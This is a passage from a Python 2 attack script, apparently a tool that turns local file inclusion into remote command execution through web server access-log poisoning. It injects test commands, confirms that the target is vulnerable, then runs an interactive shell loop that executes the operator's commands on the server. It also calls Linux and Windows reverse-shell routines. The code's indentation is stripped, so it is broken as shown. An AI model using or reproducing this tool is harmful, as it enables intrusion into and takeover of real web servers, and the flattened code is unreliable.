toCheck = resp[(last+len(keyword)):]
stop = SubstrFind(toCheck, " HTTP/1.1")
if(len(stop) > 0):
return toCheck[1:(stop[0])]
stop = SubstrFind(toCheck, "\"")
if(len(stop) > 0):
return toCheck[1:(stop[0])]
return ""
def access_log_while(whoami,logmain,pwd,ologurl,keyword,windows):
cmd = ""
while(cmd != "exit" and cmd != "quit"):
cmd = raw_input("%s@%s:%s$ " %(whoami, logmain.split("/")[2], pwd))
cmd = cmd.replace("'","\"")
if(cmd != "exit" and cmd != "quit"):
if(checkIfReverseShell(cmd)):
if(windows is False):
access_log_reverse_shell(logmain,keyword,ologurl)
else:
access_log_windows_reverse_shell(logmain,keyword,ologurl)
else:
send_access_log_cmd(cmd, logmain, keyword)
print cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), False)
exit()
def simpleGETorHEAD(keyword, ologurl, logmain):
randStr = generateRandom()
send_access_log_cmd("echo %s" %randStr, logmain, keyword)
if(access_log_reverse):
r = requests.get(url,headers=gen_headers, verify=False)
else:
r = requests.get(ologurl,headers=gen_headers,timeout=15, verify=False)
resp = r.text
print colored("\nTrying to inject the website using simple %s requests." %keyword, "white")
if(access_control(resp,keyword,randStr)):
print "[+] The website seems to be vulnerable. Opening a System Shell..\n"
time.sleep(1)
cmd = ""
send_access_log_cmd("whoami", logmain, keyword)
whoami = cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), True)
send_access_log_cmd("pwd", logmain, keyword)
pwd = cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), True)
access_log_while(whoami,logmain,pwd,ologurl,keyword,False)
# -------------------------------------------------------------------------------------------
else:
# check if Windows operating system
# ----------------------------------------------------- #
send_access_log_cmd("path",logmain,keyword)
path = cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), True)
time.sleep(1)
if(checkIfWindows(path)):
# trying to get current Windows user by using 'whoami' command
send_access_log_cmd("whoami", logmain, keyword)
whoami = isUnknown(cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), True))
if("?" in whoami):
# Try to get current_user using PHP function 'get_current_user()'
send_access_log_cmd("get_current_user();", logmain, keyword+"_PHP")